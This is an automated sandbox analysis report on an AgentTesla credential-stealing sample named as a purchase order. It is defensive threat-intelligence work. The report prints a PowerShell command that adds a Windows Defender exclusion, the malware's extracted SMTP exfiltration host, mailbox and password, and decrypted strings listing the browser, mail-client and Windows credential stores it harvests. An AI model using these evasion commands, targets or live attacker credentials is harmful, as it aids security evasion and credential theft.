Edit tour

Windows Analysis Report
PURCHASE ORDER-6350-2024.exe

Overview

General Information

Sample name:	PURCHASE ORDER-6350-2024.exe
Analysis ID:	1528943
MD5:	e25b8037dca1fdb8e69cb26bd1cb4f17
SHA1:	5a05ef1979ba60a139cb987e7ab3abf1115acba8
SHA256:	42db38678ebdd31dbcab40014ff3b96a8b263f77e8484901226defbdfbb8eba6
Tags:	AgentTeslaexeuser-threatcat_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Initial sample is a PE file and has a suspicious name

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

PURCHASE ORDER-6350-2024.exe (PID: 5688 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe" MD5: E25B8037DCA1FDB8E69CB26BD1CB4F17)

powershell.exe (PID: 6112 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PURCHASE ORDER-6350-2024.exe (PID: 3732 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe" MD5: E25B8037DCA1FDB8E69CB26BD1CB4F17)

PURCHASE ORDER-6350-2024.exe (PID: 1020 cmdline: "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe" MD5: E25B8037DCA1FDB8E69CB26BD1CB4F17)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": "     *o9H+18Q4%;M     "}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.3266110194.0000000002D6A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.3264163729.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.2053479431.0000000003A29000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.3266110194.0000000002D11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 5688	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 1020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 1020	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
decrypted.memstr	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.PURCHASE ORDER-6350-2024.exe.3ab4e38.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.PURCHASE ORDER-6350-2024.exe.3adde58.3.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", ParentImage: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe, ParentProcessId: 5688, ParentProcessName: PURCHASE ORDER-6350-2024.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", ProcessId: 6112, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 199.79.62.115, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe, Initiated: true, ProcessId: 1020, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", ParentImage: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe, ParentProcessId: 5688, ParentProcessName: PURCHASE ORDER-6350-2024.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe", ProcessId: 6112, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE AgentTesla Exfil Via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T13:52:51.176172+0200	2030171	1	A Network Trojan was detected	192.168.2.5	49707	199.79.62.115	587	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T13:53:00.382718+0200	2855542	1	A Network Trojan was detected	192.168.2.5	49707	199.79.62.115	587	TCP

ETPRO MALWARE Agent Tesla Exfil via SMTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T13:53:00.382718+0200	2855245	1	A Network Trojan was detected	192.168.2.5	49707	199.79.62.115	587	TCP

ETPRO MALWARE Win32/Agent Tesla SMTP Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T13:52:51.176172+0200	2839723	1	Malware Command and Control Activity Detected	192.168.2.5	49707	199.79.62.115	587	TCP

ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T13:52:51.176172+0200	2840032	1	A Network Trojan was detected	192.168.2.5	49707	199.79.62.115	587	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.mbarieservicesltd.com", "Username": "saless@mbarieservicesltd.com", "Password": " *o9H+18Q4%;M "}

Multi AV Scanner detection for submitted file

Source: PURCHASE ORDER-6350-2024.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: PURCHASE ORDER-6350-2024.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: /log.tmp
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>[
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: yyyy-MM-dd HH:mm:ss
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ]<br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Time:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>User Name:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>Computer Name:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>OSFullName:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>CPU:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>RAM:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IP Address:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: New
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: MM/dd/yyyy HH:mm:ss
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IP Address:
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: mail.mbarieservicesltd.com
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: saless@mbarieservicesltd.com
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: *o9H+18Q4%;M
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: iinfo@mbarieservicesltd.com
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: false
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: appdata
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: KTvkzEc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: KTvkzEc.exe
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: KTvkzEc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Type
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <b>[
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ]</b> (
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: )<br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {BACK}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {ALT+TAB}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {ALT+F4}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {TAB}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {ESC}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {Win}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {CAPSLOCK}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {KEYUP}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {KEYDOWN}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {KEYLEFT}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {KEYRIGHT}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {DEL}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {END}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {HOME}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {Insert}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {NumLock}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {PageDown}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {PageUp}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {ENTER}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F1}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F2}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F3}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F4}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F5}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F6}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F7}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F8}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F9}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F10}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F11}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {F12}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: control
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: {CTRL}
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: &
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: >
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: "
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <br><hr>Copied Text: <br>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <hr>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: logins
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IE/Edge
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Secure Note
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 3CCD5499-87A8-4B10-A215-608888DD3B55
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Web Password Credential
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 154E23D0-C644-4E6F-8CE6-5069272F999F
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Credential Picker Protector
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Web Credentials
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Credentials
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Domain Certificate Credential
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Domain Password Credential
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Windows Extended Credential
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: 00000000-0000-0000-0000-000000000000
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SchemaId
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pResourceElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pIdentityElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pPackageSid
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: pAuthenticatorElement
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IE/Edge
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UC Browser
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: UCBrowser\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Login Data
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: journal
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: wow_logins
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Safari for Windows
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Common Files\Apple\Apple Application Support\plutil.exe
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Apple Computer\Preferences\keychain.plist
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <array>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <dict>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <string>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </string>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <string>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </string>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: <data>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: </data>
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: -convert xml1 -s -o "
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \fixed_keychain.xml"
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Microsoft\Credentials\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Microsoft\Protect\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: credential
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: QQ Browser
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Tencent\QQBrowser\User Data
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Default\EncryptedStorage
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Profile
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \EncryptedStorage
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: entries
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: category
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Password
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: str3
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: str2
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: blob0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: password_value
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: IncrediMail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PopPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SmtpPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\IncrediMail\Identities\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Accounts_New
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: PopPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SmtpPassword
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SmtpServer
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: EmailAddress
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Eudora
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Software\Qualcomm\Eudora\CommandLine\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: current
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Settings
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: SavePasswordText
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Settings
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ReturnAddress
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: Falkon Browser
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \falkon\profiles\
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: startProfile=([A-z0-9\/\.\"]+)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \browsedata.db
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: autofill
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: ClawsMail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \Claws-mail
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \clawsrc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \clawsrc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: passkey0
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: master_passphrase_salt=(.+)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: master_passphrase_pbkdf2_rounds=(.+)
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: \accountrc
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: smtp_server
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: address
Source: 6.2.PURCHASE ORDER-6350-2024.exe.400000.0.unpack	String decryptor: account
